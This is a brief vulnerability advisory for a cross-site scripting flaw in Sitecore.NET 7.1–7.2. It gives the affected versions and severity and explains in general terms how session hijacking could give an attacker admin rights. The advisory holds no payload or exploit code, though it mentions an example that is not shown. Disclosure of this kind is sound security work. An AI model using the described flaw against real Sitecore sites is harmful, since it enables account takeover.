Name: XSS Vulnerability in Sitecore  
Affected Software : Sitecore.NET  
Affected Versions: v7.2-7.1 and possibly below  
Vendor Homepage : http://www.sitecore.net/  
Vulnerability Type : Cross-site Scripting  
Severity : Important  
  
  
Description  
--------------------  
By exploiting a Cross-site scripting vulnerability the attacker can hijack  
a logged in users session. This means that the malicious hacker can change  
the logged in users password and invalidate the session of the victim  
while the hacker maintains access. As seen from the XSS example in this  
article, if a web application is vulnerable to cross-site scripting and the  
administrators session is hijacked, the malicious hacker exploiting the  
vulnerability will have full admin privileges on that web application.
